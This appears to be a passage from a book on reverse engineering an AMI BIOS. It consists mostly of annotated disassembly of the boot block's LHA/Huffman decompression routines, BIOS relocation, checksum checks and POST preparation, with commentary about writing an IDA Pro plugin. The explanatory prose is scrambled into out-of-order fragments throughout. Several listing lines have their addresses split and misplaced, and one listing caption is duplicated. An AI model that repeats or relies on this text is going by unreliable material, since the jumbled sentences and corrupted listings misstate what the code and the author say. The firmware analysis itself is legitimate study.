1352:03EA                                 ; because ds and ss points to 
1352:03EA                                 ; the same segment 
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1352:03ED   inc   si 
1352:03EE   cmp   si, cx 
1352:03F0   jb    short nxt_leaf_bitlen_tbl_entry 
1352:03F2   push  es 
1352:03F3   pop   ds                      ; Restore ds to point to 
1352:03F3                                 ; scratchpad_seg 
1352:03F4 
1352:03F4 leaf_count_is_0:                ; ... 
1352:03F4   mov   [bp+__start_1], 0 
1352:03F9   mov   dx, 1                   ; dx = bit_length 
1352:03FC   lea   bx, [bp+__start_2] 
1352:03FF   lea   di, [bp+__count_1] 
1352:0402 
1352:0402 next_start_tbl_entry:           ; ... 
1352:0402   mov   cl, 16 
1352:0404   sub   cl, dl 
1352:0406   mov   ax, [di] 
1352:0408   shl   ax, cl 
1352:040A   add   ax, [bx-2] 
1352:040D   mov   [bx], ax 
1352:040F   add   bx, 2                   ; Point to next word in 
1352:040F                                 ; start_tbl[] 
1352:0412   inc   dx 
1352:0413   add   di, 2                   ; Point to next word in count[] 
1352:0416   lea   ax, [bp+__end_of_count] 
1352:0419   cmp   di, ax                  ; Is count[] limit reached? 
1352:041B   jbe   short next_start_tbl_entry 
1352:041D   mov   dx, [bp+tbl_bitcount] 
1352:0420   mov   ax, 16 
1352:0423   sub   ax, dx                  ; jutbits, i.e., 
1352:0423                                 ; ax = 16 - tbl_bitcount 
1352:0425   mov   [bp+__jutbits], ax 
1352:0428   mov   si, 1 
1352:042B   cmp   dx, si                  ; tbl_bitcount == 1 
1352:042D   jb    short tbl_bitcount_lt_1 
1352:042F   lea   ax, [bp+__weight_1] 
1352:0432   mov   word ptr [bp+tbl_idx+2], ax 
1352:0435   lea   di, [bp+__start_1] 
1352:0438 
1352:0438 nxt_weight_entry:               ; ... 
1352:0438   mov   cl, byte ptr [bp+__jutbits] 
1352:043B   shr   word ptr [di], cl 
1352:043D   mov   cl, byte ptr [bp+tbl_bitcount] 
1352:0440   mov   ax, si 
1352:0442   sub   cl, al 
1352:0444   mov   ax, 1                   ; ax = 1U 
1352:0447   shl   ax, cl 
1352:0449   mov   bx, word ptr [bp+tbl_idx+2] 
1352:044C   add   word ptr [bp+tbl_idx+2], 2 
1352:0450   mov   [bx], ax 
1352:0452   add   di, 2                ; Point to next start_tbl[] entry 
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1352:0455   inc   si 
1352:0456   cmp   si, [bp+tbl_bitcount] 
1352:0459   jbe   short nxt_weight_entry 
1352:045B 
1352:045B tbl_bitcount_lt_1:              ; ... 
1352:045B   cmp   si, 16 
1352:045E   ja    short dont_init_weight 
1352:0460   mov   di, si 
1352:0462   add   di, si 
1352:0464   lea   bx, [bp+di+__weight_0] 
1352:0467 
1352:0467 next_weight_entry:              ; ... 
1352:0467   mov   cl, 10h 
1352:0469   mov   ax, si 
1352:046B   sub   cl, al 
1352:046D   mov   ax, 1                   ; ax = 1U 
1352:0470   shl   ax, cl 
1352:0472   mov   [bx], ax                ; ds:[bx] = bitmask 
1352:0474   add   bx, 2                   ; Move to next weight[] entry 
1352:0477   inc   si 
1352:0478   lea   ax, [bp+__end_of_weight?] 
1352:047B   cmp   bx, ax 
1352:047D   jbe   short next_weight_entry 
1352:047F 
1352:047F dont_init_weight:               ; ... 
1352:047F   mov   si, [bp+tbl_bitcount] 
1352:0482   add   si, si 
1352:0484   mov   bx, [bp+si+__start_1] 
1352:0487   mov   cl, byte ptr [bp+__jutbits] 
1352:048A   shr   bx, cl 
1352:048C   or    bx, bx 
1352:048E   jz    short not_zro_init 
1352:0490   mov   cl, byte ptr [bp+tbl_bitcount] 
1352:0493   mov   ax, 1                   ; ax = 1U 
1352:0496   shl   ax, cl 
1352:0498   mov   [bp+__k], ax 
1352:049B   cmp   ax, bx 
1352:049D   jz    short not_zro_init 
1352:049F   mov   cx, ax 
1352:04A1   sub   cx, bx 
1352:04A3   add   bx, bx                  ; bx *= 2 
1352:04A5   les   si, [bp+table] 
1352:04A8   assume es:nothing 
1352:04A8   xor   ax, ax 
1352:04AA   lea   di, [bx+si] 
1352:04AC   rep stosw                     ; Zero init intrnl_node_tbl[] 
1352:04AE 
1352:04AE not_zro_init:                   ; ... 
1352:04AE   mov   ax, [bp+leaf_count] 
1352:04B1   mov   [bp+__current_pos], ax 
1352:04B4   mov   cl, 15 
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1352:04B6   sub   cl, byte ptr [bp+tbl_bitcount] 
1352:04B9   mov   dx, 1 
1352:04BC   shl   dx, cl 
1352:04BE   mov   [bp+__mask], dx 
1352:04C1   mov   [bp+__ch], 0 
1352:04C6   or    ax, ax                  ; leaf_count == 0 
1352:04C8   jnz   short init_intrnal_nodes 
1352:04CA   jmp   exit 
1352:04CD ; ------------------------------------------------------------- 
1352:04CD 
1352:04CD init_intrnal_nodes:             ; ... 
1352:04CD   les   bx, [bp+leaf_bitlen_tbl] 
1352:04D0   add   bx, [bp+__ch] 
1352:04D3   mov   bl, es:[bx]             ; bl = leaf_bitlen_tbl[__ch] 
1352:04D6   sub   bh, bh                  ; bh = 0 
1352:04D8   or    bx, bx 
1352:04DA   jnz   short init_intrnl_node_code 
1352:04DC   jmp   next___ch 
1352:04DF ; ------------------------------------------------------------- 
1352:04DF 
1352:04DF init_intrnl_node_code:          ; ... 
1352:04DF   mov   si, bx 
1352:04E1   add   si, bx                  ; si *= 2 
1352:04E3   mov   dx, [bp+si+__start_0] 
1352:04E6   add   dx, [bp+si+__weight_0]  ; dx = nextcode 
1352:04E9   cmp   [bp+tbl_bitcount], bx 
1352:04EC   jb    short tbl_bitcount_lt_len 
1352:04EE   mov   si, bx 
1352:04F0   add   si, bx 
1352:04F2   mov   ax, [bp+si+__start_0] 
1352:04F5   mov   [bp+__i], ax 
1352:04F8   cmp   ax, dx 
1352:04FA   jb    short fill_intrnl_node_tbl 
1352:04FC   jmp   fetch_nextcode 
1352:04FF ; ------------------------------------------------------------- 
1352:04FF 
1352:04FF fill_intrnl_node_tbl:           ; ... 
1352:04FF   mov   di, ax 
1352:0501   add   di, di 
1352:0503   add   di, word ptr [bp+table] 
1352:0506   mov   es, word ptr [bp+table+2] 
1352:0509   mov   cx, dx 
1352:050B   sub   cx, ax 
1352:050D   mov   ax, [bp+__ch] 
1352:0510   rep stosw 
1352:0512   jmp   fetch_nextcode 
1352:0515 ; ------------------------------------------------------------- 
1352:0515 
1352:0515 tbl_bitcount_lt_len:            ; ... 
1352:0515   mov   si, bx 
1352:0517   add   si, bx 
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1352:0519   mov   ax, [bp+si+__start_0] 
1352:051C   mov   [bp+__k], ax 
1352:051F   mov   cl, byte ptr [bp+__jutbits] 
1352:0522   shr   ax, cl 
1352:0524   add   ax, ax 
1352:0526   add   ax, word ptr [bp+table] 
1352:0529   mov   word ptr [bp+tbl_idx], ax 
1352:052C   mov   ax, word ptr [bp+table+2] 
1352:052F   mov   word ptr [bp+tbl_idx+2], ax 
1352:0532   mov   di, bx 
1352:0534   sub   di, [bp+tbl_bitcount]   ; di = i = len - tablebits 
1352:0537   jz    short __i_equ_0 
1352:0539   mov   [bp+__i], di 
1352:053C   mov   [bp+__p], bx 
1352:053F   mov   ax, [bp+__current_pos] 
1352:0542   add   ax, ax                  ; ax *= 2 
1352:0544   mov   cx, ax 
1352:0546   add   ax, offset child_1      ; ax += right[] table 
1352:0549   mov   [bp+__child_1_idx], ax 
1352:054C   add   cx, offset child_0      ; cx += left[] table 
1352:0550   mov   [bp+__child_0_idx], cx 
1352:0553   mov   si, word ptr [bp+tbl_idx] 
1352:0556   mov   di, [bp+__k] 
1352:0559   mov   es, word ptr [bp+table+2] ; es = seg(table[]) 
1352:055C 
1352:055C next___i:                       ; ... 
1352:055C   cmp   word ptr es:[si], 0 
1352:0560   jnz   short move_in_tree 
1352:0562   mov   bx, [bp+__child_0_idx] 
1352:0565   xor   ax, ax 
1352:0567   mov   [bx], ax                ; left_child = 0 
1352:0569   mov   bx, [bp+__child_1_idx] 
1352:056C   mov   [bx], ax                ; right_child = 0 
1352:056E   mov   ax, [bp+__current_pos] 
1352:0571   inc   [bp+__current_pos] 
1352:0574   mov   es:[si], ax 
1352:0577   add   [bp+__child_1_idx], 2   ; Move to higher node 
1352:057B   add   [bp+__child_0_idx], 2   ; Move to higher node 
1352:057F 
1352:057F move_in_tree:                   ; ... 
1352:057F   test  [bp+__mask], di 
1352:0582   jz    short go_left 
1352:0584   mov   ax, es:[si] 
1352:0587   add   ax, ax 
1352:0589   add   ax, offset child_1      ; ax += right[] table 
1352:058C   jmp   short move_in_tree_done 
1352:058E ; ------------------------------------------------------------- 
1352:058E go_left:                        ; ... 
1352:058E   mov   ax, es:[si] 
1352:0591   add   ax, ax 
1352:0593   add   ax, offset child_0      ; ax += left[] table 
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1352:0596 
1352:0596 move_in_tree_done:              ; ... 
1352:0596   mov   cx, ds 
1352:0598   mov   si, ax 
1352:059A   mov   es, cx 
1352:059C   assume es:scratch_pad_seg 
1352:059C   add   di, di                  ; n <<= 1 
1352:059E   dec   [bp+__i] 
1352:05A1   jnz   short next___i 
1352:05A3   mov   word ptr [bp+tbl_idx+2], es 
1352:05A6   mov   word ptr [bp+tbl_idx], ax 
1352:05A9   mov   bx, [bp+__p] 
1352:05AC 
1352:05AC __i_equ_0:                      ; ... 
1352:05AC   mov   ax, [bp+__ch] 
1352:05AF   les   si, [bp+tbl_idx] 
1352:05B2   assume es:nothing 
1352:05B2   mov   es:[si], ax 
1352:05B5 
1352:05B5 fetch_nextcode:                 ; ... 
1352:05B5   mov   si, bx 
1352:05B7   add   si, bx 
1352:05B9   mov   [bp+si+__start_0], dx 
1352:05BC 
1352:05BC next___ch:                      ; ... 
1352:05BC   mov   ax, [bp+leaf_count] 
1352:05BF   inc   [bp+__ch] 
1352:05C2   cmp   [bp+__ch], ax 
13 C5   jnb   short exit 52:05
1352:05C7   jmp   init_intrnal_nodes 
1352:05CA ; -------------------------------------------------------------
-------------- 
1352:05CA 
1352:05CA exit:                           ; ... 
1352:05CA   pop   si 
1352:05CB   pop   di 
1352:05CC   leave 
1 CD   retn 352:05
1352:05CD make_table endp 
1352:05CD 
1352:05CE 
1352:05CE ; --------------- S U B R O U T I N E ------------------------- 
1352:05CE ; in:  al = amount of bit to read 
1352:05CE ; out: ax = bits read 
1352:05CE 
1352:05CE get_bits proc near              ; ... 
1352:05CE   mov   cl, 10h 
1352:05D0   sub   cl, al 
1352:05D2   mov   dx, bit_buf 
1352:05D6   shr   dx, cl 
1352:05D8   mov   cl, al 
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1352:05DA   call  fill_bit_buf 
1352:05DD   mov   ax, dx 
1352:05DF   retn 
1352:05DF get_bits endp 
1352:05DF 
1352:05E0 ; --------------- S U B R O U T I N E ------------------------- 
1352:05E0 ; in: cl = amount of bit to read 
1352:05E0 
1352:05E0 fill_bit_buf proc near          ; ... 
1352:05E0   shl   bit_buf, cl 
1352:05E4   mov   ch, byte ptr bit_position 
1352:05E8   cmp   ch, cl 
1352:05EA   jge   short bitpos_gt_req_bitcount 
1352:05EC   mov   ebx, src_byte_ptr 
1352:05F1   push  0 
1352:05F3   pop   es 
1352:05F4   assume es:_12000 
1352:05F4   mov   ax, _byte_buf 
1352:05F7   sub   cl, ch                  ; cl = number of bit to read 
1352:05F9   cmp   cl, 8 
1352:05FC   jle   short bit2read_lte_8 
1352:05FE   shl   ax, cl 
1352:0600   or    bit_buf, ax 
1352:0604   movzx ax, byte ptr es:[ebx]   ; Fetch 1 byte from 
1352:0604                                 ; compressed src 
1352:0609   inc   ebx                     ; Point to next src byte 
1352:060B   sub   cl, 8 
1352:060E 
1352:060E bit2read_lte_8:                 ; ... 
1352:060E   shl   ax, cl 
1352:0610   or    bit_buf, ax 
1352:0614   movzx ax, byte ptr es:[ebx]   ; Fetch 1 byte from 
1352:0614                                 ; compressed src 
1352:0619   inc   ebx 
1352:061B   mov   src_byte_ptr, ebx       ; Point to next src byte 
1352:0620   mov   _byte_buf, ax 
1352:0623   mov   ch, 8                   ; Set bit position to 8 
1352:0625 
1352:0625 bitpos_gt_req_bitcount:         ; ... 
1352:0625   sub   ch, cl                  ; ch = number of bit read 
1352:0627   mov   byte ptr bit_position, ch 
1352:062B   xchg  ch, cl 
1352:062D   mov   ax, _byte_buf 
1352:0630   shr   ax, cl 
1352:0632   or    bit_buf, ax 
1352:0636   retn 
1352:0636 fill_bit_buf endp 
 
 The first call to this decompression engine passes 

he destination address parameter fo
8F98Ch as the source address 

r the decompression. I made 
te the decompression process. It's a trivial but time-consuming 

parameter and 120000h as t
an IDA Pro plugin to simula
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process. However, you might want to "borrow" some codes from the original source code 
ssor 

 
r you 

 the compressed part decompressed to memory at 120000h, 
omp_result. 

tion into RAM 

result function relocates the decompressed part of the boot 
isting 5.34. 

isting 5.34 copy_decomp_result Function 

of the AR archiver that's available freely on the Web to build your own decompre
plugin. Note that the names of the functions in the AR achiver source code are similar to

 It should be easier fothe names of the procedures in the preceding disassembly listing.
 with those hints. to build the decompressor plugin

 after Back to the code:
the execution continues to copy_dec
 
 
5.2.3.4. BIOS Binary Reloca
 

omp_ The copy_dec
 lblock as shown in the

 

L

8000:A091 decomp_block_entry proc near 
8000:A091   call  init_decomp_ngine       ; On ret, ds = 0 
8000:A094   call  copy_decomp_result 
8000:A097   call  call_F000_0000 
8000:A09A   retn 
8000:A09A decomp_block_entry endp 
......... 
8000:A273 copy_decomp_result proc near    ; ... 
8000:A273   pushad 
8000:A275   call  _init_regs 
8000:A278   mov   esi, cs:decomp_dest_addr 
8000:A27E   push  es 
8000:A27F   push  ds 
8000:A280   mov   bp, sp 
8 82   movzx ecx, word ptr [esi+2]   ; ecx = hdr_length 000:A2
8000:A288   mov   edx, ecx                ; edx = hdr_length 
8000:A28B    sp, cx                  ; Provide big stack section    sub
8000:A28D   mov   bx, sp 
8000:A28F   push  ss 
8000:A290   pop   es 
8000:A291   movzx edi, sp 
8000:A295   push  esi 
8000:A297   cld 
8000:A298   rep movs byte ptr es:[edi], byte ptr [esi] ; Fill stack with 
8000:A298                                 ; decompressed boot block part 
8000:A29B   pop   esi 
8000:A29D   push  ds 
8000:A29E   pop   es                      ; es = ds ( 0000h ? ) 
8000:A29F   movzx ecx, word ptr ss:[bx+0] ; ecx number of components to 
8000:A29F                                 ; copy 
8000:A2A4   add   esi, edx                ; esi points to right after 
8000:A2A4                                 ; header 
8000:A2A7 
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8000:A2A7 next_dword:                     ; ... 
8000:A2A7   add   bx, 4 
8000:A2AA   push  ecx 
8000:A2AC   mov   edi, ss:[bx+0]          ; edi = destination addr 
8000:A2B0   add   bx, 4 
8000:A2B3   mov   ecx, ss:[bx+0] 
8000:A2B7   mov   edx, ecx                ; edx = byte count 
8000:A2BA   shr   ecx, 2                  ; ecx / 4 
8000:A2BE   jz    short copy_remaining_bytes 
8000:A2C0   rep movs dword ptr es:[edi], dword ptr [esi] 
8000:A2C4 
8000:A2C4 copy_remaining_bytes:           ; ... 
8000:A2C4   mov   ecx, edx 
8000:A2C7   and   ecx, 3 
8000:A2CB   jz    short no_more_bytes2copy 
8000:A2CD   rep movs byte ptr es:[edi], byte ptr [esi] 
8000:A2D0 
8000:A2D0 no_more_bytes2copy:             ; ... 
8000:A2D0   pop   ecx 
8000:A2D2   loop  next_dword 
8000:A2D4   mov   edi, 120000h            ; Decompression destination 
8000:A2D4                                 ; address 
8000:A2DA   call  far ptr esi_equ_FFFC_0000h ; Decompression source 
8000:A2DA                                 ; address 
8000:A2DF   push  0F000h 
8000:A2E2   pop   ds 
8000:A2E3   assume ds:_F0000 
8000:A2E3   mov   word_F000_B1, cx 
8000:A2E7   mov   sp, bp 
8000:A2E9   pop   ds 
8000:A2EA   assume ds:nothing 
8000:A2EA   pop   es 
8000:A2EB   popad 
8000:A2ED   retn 
8000:A2ED copy_decomp_result endp ; sp = -4 
......... 
 
 The  function copies the decompressicopy_decomp_result

ation and the source of th
on result from address 

is operation are provided in 
00h. This header format is 

 

esult Header 

120000h to segment F000h. The destin
the header portion of the decompressed code at address 1200
somehow similar to the header format used by the decompression engine module encounter
previously. The header is shown in listing 5.35. 
 

Listing 5.35 Decompression R

0000:120000   dw 1                      ; Number of components 
0000:120002   dw 0Ch                    ; Header length of this component 
0000:120004   dd 0F0000h                ; Destination address 
0000:120008   dd 485h          
 

         ; Byte count 
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 Then, the execution continues with a call to the procedure at the overwritten part 
of segment , as shown F000h in listing 5.36. 
 

Listing 5.36 Calling the Procedure in the Overwritten F000h Segment 

8000:A094   call  copy_decomp_result 
8000:A097   call  call_F000_0000 
......... 
8000:A2EE call_F000_0000 proc near        ; ... 
8000:A2EE   call  prepare_sys_BIOS        ; Jump table in system BIOS? 
8000:A2F3 
8000:A2F3 halt:                           ; ... 
8000:A2F3   cli 
8000:A2F4   hlt 
8000:A2F5   jmp   short halt 
8000:A2F5 call_F000_0000 endp 
......... 
F000:0000 prepare_sys_BIOS proc far       ; ... 
F000:0000   call  Relocate_BIOS_Binary 
F000:0005   call  Calc_Module_Sum 
F000:000A   call  far ptr Bootblock_POST_D7h 
F000:000F   retf 
F000:000F prepare_sys_BIOS endp 

st, 
 

the 
pies the 

ent 12_0000h–15_FFFFh. This 

to RAM 

 
 The prepare_sys_BIOS function in listing 5.36 accomplishes several tasks. Fir

4-GBprepare_sys_BIOS copies the BIOS binary from a high BIOS address (near the 
ing address range) to RAM at segment 16_0000h–19_FFFFh by call

 function also coRelocate_BIOS_Binary function. The Relocate_BIOS_Binary
pure code of the BIOS binary (nonpadding bytes) to segm
action is shown in listing 5.37. 
 

Listing 5.37 Relocating BIOS Binary 

F000:00EA Relocate_BIOS_Binary proc far   ; ... 
F000:00EA   push  es 
F000:00EB   push  ds 
F000:00EC   pushad 
F000:00EE   mov   edi, 120000h 
F000:00F4   call  _get_sysbios_param      ; On ret: cx = 4 
F000:00F4                                 ;         esi = FFFC_0000h 
F000:00F4                                 ;         carry_flag = 0 
F000:00F9   jnb   short no_carry          ; jmp taken 
F000:00FB   mov   esi, 0FE000h 
F000:0101   mov   cx, 2 
F000:0104 
F000:0104 no_carry:                       ; ... 
F000:0104   movzx eax, cx                 ; eax = 4 
F000:0108   shl   eax, 0Eh                ; eax = 1_0000h 
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F000:010C   mov   cs:BIOS_size_in_dword?, eax 
F000:0111   mov   ecx, eax                ; ecx = 1_0000h 
F000:0114   shl   eax, 2                  ; eax = 4_0000h 
F000:0118   mov   cs:BIOS_size_in_byte?, eax 
F000:011D   xor   eax, eax                ; eax = 0 
F000:0120   mov   ds, ax                  ; ds = 0 
F000:0122   assume ds:sys_bios 
F000:0122   mov   es, ax                  ; es = 0 
F000:0124   push  ecx                     ; ecx is 1_0000h at this point 
F000:0126   dec   eax                     ; eax = -1 = 0xFFFF_FFFF 
F000:0128   rep stos dword ptr es:[edi] ; init 120000h - 15FFFFh with FFh 
F000:012C   push  ds 
F000:012D   push  51h 
F000:0130   pop   ds 
F000:0131   assume ds:_51h 
F000:0131   mov   BIOS_bin_start_addr, edi 
F000:0136   pop   ds 
F000:0137   assume ds:nothing 
F000:0137   pop   ecx 
F000:0139   push  edi 
F000:013B   rep movs dword ptr es:[edi], dword ptr [esi] ; copy 256 KB 
F000:013B                                 ; From FFFC_0000h-FFFF_FFFFh to 
F000:013B                                 ; 16_0000h - 19_FFFFh 
F000:013F   pop   esi                     ; esi = edi = 16_0000h 
F000:0141   mov   cx, cs:BIOS_seg_count?  ; cx = 4 
F000:0146   call  get_sysbios_start_addr  ; 1st pass: edi = 19_8000h 
F000:0149   jz    short chk_sysbios_hdr   ; 1st pass jmp taken 
F000:014B   push  ds 
F000:014C   push  8000h 
F000:014F   pop   ds 
F000:0150   assume ds:decomp_block 
F000:0150   or    byte_8000_FFCE, 40h 
F000:0155   pop   ds 
F000:0156   assume ds:nothing 
F000:0156   jmp   exit 
F000:0159 ; ------------------------------------------------------------- 
F000:0159 chk_sysbios_hdr:                ; ... 
F000:0159   mov   esi, edi                ; 1st pass: edi = 19_8000h 
F000:015C   sub   edi, cs:BIOS_size_in_byte? 
F000:0162   mov   ebx, 20h ; ' ' 
F000:0168   sub   edi, ebx 
F000:016B   sub   esi, ebx 
F000:016E   mov   ecx, ebx 
F000:0171   rep movs byte ptr es:[edi], byte ptr [esi] ; Copy last 20 
F000:0171                                 ; bytes (header) of sys_bios 
F000:0171                                 ; (19_7FE0h - 19_8000h) to 
F000:0171                                 ; (15_7FE0h - 15_8000h) 
F000:0174   xor   ebx, ebx                ; ebx = 0 
F000:0177 
F000:0177 next_compressed_component?:     ; ... 
F000:0177   mov   esi, edx 
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F000:017A   mov   ax, [esi+2] 
F000:017E   shl   eax, 10h 
F000:0182   mov   ax, [esi] 
F000:0185   sub   esi, 8 
F000:0189   mov   edi, esi 
F000:018C   sub   edi, cs:BIOS_size_in_byte? 
F000:0192   mov   ecx, [esi] 
F000:0196   test  byte ptr [esi+0Fh], 20h 
F000:019B   jz    short bit_not_set 
F000:019D   add   ebx, ecx 
F000:01A0   jmp   short test_lower_bit 
F000:01A2 ; ------------------------------------------------------------- 
F000:01A2 
F000:01A2 bit_not_set:                    ; ... 
F000:01A2   sub   ecx, ebx 
F000:01A5   xor   ebx, ebx 
F000:01A8 
F000:01A8 test_lower_bit:                 ; ... 
F000:01A8   test  byte ptr [esi+0Fh], 40h 
F000:01AD   jz    short copy_bytes 
F000:01AF   xor   ecx, ecx 
F000:01B2 
F000:01B2 copy_bytes:                     ; ... 
F000:01B2   add   ecx, 14h 
F000:01B6   cmp   ecx, cs:BIOS_size_in_byte? 
F000:01BC   ja    short padding_bytes_reached? 
F000:01BE   rep movs byte ptr es:[edi], byte ptr [esi] ; Copy compressed 
F000:01BE                                              ; component bytes 
F000:01C1   cmp   eax, 0FFFFFFFFh 
F000:01C5   jz    short padding_bytes_reached? 
F000:01C7   push  ds 
F000:01C8   push  51h ; 'Q' 
F000:01CB   pop   ds 
F000:01CC   assume ds:_51h 
F000:01CC   mov   esi, BIOS_bin_start_addr 
F000:01D1   pop   ds 
F000:01D2   assume ds:nothing 
F000:01D2   mov   cx, cs:BIOS_seg_count? 
F000:01D7   call  get_component_start_addr 
F000:01DA   jmp   short next_compressed_component? 
F000:01DC ; ------------------------------------------------------------- 
F000:01DC 
F000:01DC padding_bytes_reached?:         ; ... 
F000:01DC   mov   esi, 120000h 
F000:01E2   push  esi 
F000:01E4   mov   ecx, cs:BIOS_size_in_dword? 
F000:01EA   xor   ebx, ebx 
F000:01ED 
F000:01ED next_dword:                     ; ... 
F000:01ED   lods  dword ptr [esi] 
F000:01F0   add   ebx, eax 
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F000:01F3   loopd next_dword 
F000:01F6   pop   edi 
F000:01F8   mov   [edi-4], ebx 
F000:01FD 
F000:01FD exit:                           ; ... 
F000:01FD   push  8000h 
F000:0200   pop   es 
F000:0201   assume es:decomp_block 
F000:0201   mov   al, es:byte_8000_FFCE 
F000:0205   push  51h ; 'Q' 
F000:0208   pop   ds 
F000:0209   assume ds:_51h 
F000:0209   mov   byte ptr unk_51_4, al 
F000:020C   mov   eax, es:decompression_block_size 
F000:0211   mov   dword ptr _decompression_block_size, eax 
F000:0215   mov   eax, es:padding_byte_size 
F000:021A   mov   dword ptr _padding_byte_size, eax 
F000:021E   popad 
F000:0220   pop   ds 
F000:0221   assume es:nothing, ds:nothing 
F000:0221   pop   es 
F000:0222   retf 
F000:0222 Relocate_BIOS_Binary endp 
 
 Second, the prepare_sys_BIOS function checks the checksum of the BIOS binary 

–15_FFFFh by calling Calc_Module_Sum function. This is 
for the whole BIOS image, as shown in listing 5.38. 
ress range is initialized with FFh values in 

eing filled by the copy of the BIOS binary. 

ation 

relocated to segment 12_0000h
actually an 8-bit checksum calculation 

ed addNote that the aforemention
Relocate_BIOS_Binary function before b
 

Listing 5.38 BIOS Binary Checksum Calcul

F000:02CA Calc_Module_Sum proc far        ; ... 
F000:02CA   push  ds 
F000:02CB   pushad 
F000:02CD   push  0 
F000:02CF   pop   ds 
F000:02D0   assume ds:sys_bios 
F000:02D0   mov   esi, 120000h 
F000:02D6   mov   cx, cs:BIOS_seg_count? 
F000:02DB   call  get_sysbios_start_addr 
F000:02DE   jnz   short AMIBIOSC_not_found 
F000:02E0   mov   cx, [edi-0Ah] 
F000:02E4   xor   eax, eax 
F000:02E7 
F000:02E7 next_lower_dword:               ; ... 
F000:02E7   add   eax, [edi-4] 
F000:02EC   sub   edi, 8 
F000:02F0   add   eax, [edi] 
F000:02F4   loop  next_lower_dword 
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F000:02F6   jz    short exit 
F000:02F8 
F000:02F8 AMIBIOSC_not_found:             ; ... 
F000:02F8   mov   ax, 8000h 
F000:02FB   mov   ds, ax 
F000:02FD   assume ds:decomp_block 
F000:02FD   or    byte_8000_FFCE, 40h 
F000:0302 
F000:0302 exit:                           ; ... 
F000:0302   popad 
F000:0304   pop   ds 
F000:0305   assume ds:nothing 
F000:0305   retf 
F000:0305 Calc_Module_Sum endp 
 
 Third, the  function validates the compressed Aprepare_sys_BIOS MI system 

 at BIOS at 12_0000h and then decompresses the compressed AMI system BIOS into RAM
ing Bootblock_POST_D7h. The disassembly of the latter functisegment 1A_0000h by call on 

is shown in listing 5.39. 
 

Listing 5.39 BIOS Binary Checksum Calculation 

F000:0010 Bootblock_POST_D7h proc near    ; ... 
F000:0010   mov   al, 0D7h                ; POST code D7h: 
F000:0012   out   80h, al                 ; Restore CPUID value back into 
F000:0012                                 ; register. The boot block- 
F000:0012                                 ; runtime interface module is 
F000:0012                                 ; moved to system memory 
F000:0012                                 ; and control is given to it. 
F000:0012                                 ; Determine whether to execute 
F000:0012                                 ; serial flash. 
F000:0014   mov   esi, 120000h 
F000:001A   mov   cx, cs:BIOS_seg_count? 
F000:001F   mov   bl, 8 
F000:0021   call  Chk_SysBIOS_CRC 
F000:0024   jz    short chk_sum_ok 
F000:0026   jmp   far ptr halt_@_PostCode_D7h 
F000:002B ; ------------------------------------------------------------- 
F000:002B chk_sum_ok:                     ; ... 
F000:002B   mov   esi, ebx 
F0 2E   xor   edi, edi 00:00
F000:0031   xor   ax, ax 
F000:0033   mov   ds, ax 
F000:0035   assume ds:sys_bios 
F000:0035   mov   es, ax 
F000:0037   assume es:sys_bios 
F000:0037   mov   edi, esi 
F000:003A   cld 
F000:003B   lods  word ptr [esi] 
F000:003D   lods  word ptr [esi] 
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F000:003F   movzx eax, ax 
F000:0043   add   edi, eax 
F000:0046   push  edi 
F000:0048   lods  dword ptr [esi] 
F000:004B   mov   edi, eax 
F000:004E   lods  dword ptr [esi] 
F000:0051   mov   ecx, eax 
F000:0054   pop   esi 
F000:0056   push  edi 
F000:0058   shr   ecx, 2 
F000:005C   inc   ecx 
F 5E   rep movs dword ptr es:[edi], dword ptr [esi] 000:00
F000:0062   pop   edi 
F000:0064   shr   edi, 4                  ; edi = segment addr 
F000:0068   mov   cs:interface_seg, di 
F000:006D   mov   bl, 1Bh 
F000:006F   call  Chk_sysbios_CRC_indirect 
F000:0072   jz    short dont_halt_2 
F000:0074   jmp   far ptr halt_@_PostCode_D7h 
F000:0079 ; ------------------------------------------------------------- 
F000:0079 dont_halt_2:                    ; ... 
F000:0079   mov   esi, ebx                ; esi = compressed bios modules 
F000:0079                                 ; start address 
F000:007C   mov   edi, 120000h 
F000:0082   push  ds 
F000:0083   push  0F000h 
F000:0086   pop   ds 
F000:0087   assume ds:_F0000 
F000:0087   movzx ecx, BIOS_seg_count? 
F000:008D   pop   ds 
F000:008E   assume ds:nothing 
F000:008E   shl   ecx, 11h 
F000:0092   add   edi, ecx                ; edi = bios modules 
F000:0092                       ; Decompression destination start address 
F000:0092                       ; edi = 120000h + (4 << 11h) = 1A0000h 
F000:0095   push  ax 
F000:0096   call  Read_CMOS_B5_B6h 
F000:0099   pop   ax 
F000:009A   mov   bx, cs 
F000:009C   call  dword ptr cs:interface_module ; goto 1352:0000h 
F000:00A1   jmp   far ptr halt_@_PostCode_D7h 
F000:00A6 ; ------------------------------------------------------------- 
F000:00A6   retf 
F000:00A6 ; ------------------------------------------------------------- 
F000:00A7 interface_module:               ; ... 
F000:00A7   dw 0 
F000:00A9 interface_seg dw 1352h          ; POST preparation module. It 
F000:00A9                                 ; contains an LHA decompression 
F000:00A9                                 ; engine. 
F000:00AB ; ------------------------------------------------------------- 
F000:00AB 
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F000:00AB halt_@_PostCode_D7h:            ; ... 
F000:00AB   mov   al, 0D7h ; '+' 
F000:00AD   out   80h, al                 ; Emit POST code D7 
F000:00AF 
F000:00AF halt:                           ; ... 
F000:00AF   jmp   short halt 
F000:00AF Bootblock_POST_D7h endp 
 
 In the normal condition, the  function shouldBootblock_POST_D7h n't return. It

th
 

e 
nd 

stem BIOS to execute POST. I'm building a custom 
his interface segment because it's not easy to calculate 
 also contains a decompression engine. This "new" 

e old decompression engine that was overwritten 
tion. However, this new decompression engine is 

 to accommodate space 

the code when you encounter a 
ode to port 80h. The next subsections also use this fact to infer the 

1352h  is prepared as shown in 

will continue its execution in the "interface" segment (segment 1352h). The code in 
mpress the system BIOS and other compressed component ainterface segment will deco

then jump into the decompressed sy
e of tIDA Pro plugin to find the valu

it by hand. The interface segment
me as thdecompression engine is the sa

during  execuBootblock_POST_D7h
located in a higher offset address in the same segment as the old one
for the POST preparation functions. Listing 5.39 also shows that the AMI BIOS code 

y when you need to analyze the document mentioned in the previous section becomes hand
use you can infer the functionality of boot block code, beca

it a POST ccode that em
code within the disassembled BIOS binary. 
 
 
5.2.3.5. POST Preparation 
 

 placed at segment . POST The interface module is
listing 5.40. 
 

Listing 5.40 Preparing for POST 

1352:0000 prepare_for_POST:               ; ... 
1352:0000   jmp   short decompress_sys_bios 
......... 
1352:0011 decompress_sys_bios:            ; ... 
1352:0011   push  edx 
1352:0013   push  ax 
1352:0014   mov   al, 0D8h ; '+' 
1352:0016   out   80h, al                 ; POST D8h: 
1352:0016                                 ; The runtime module is 
1352:0016                                 ; uncompressed into memory. 
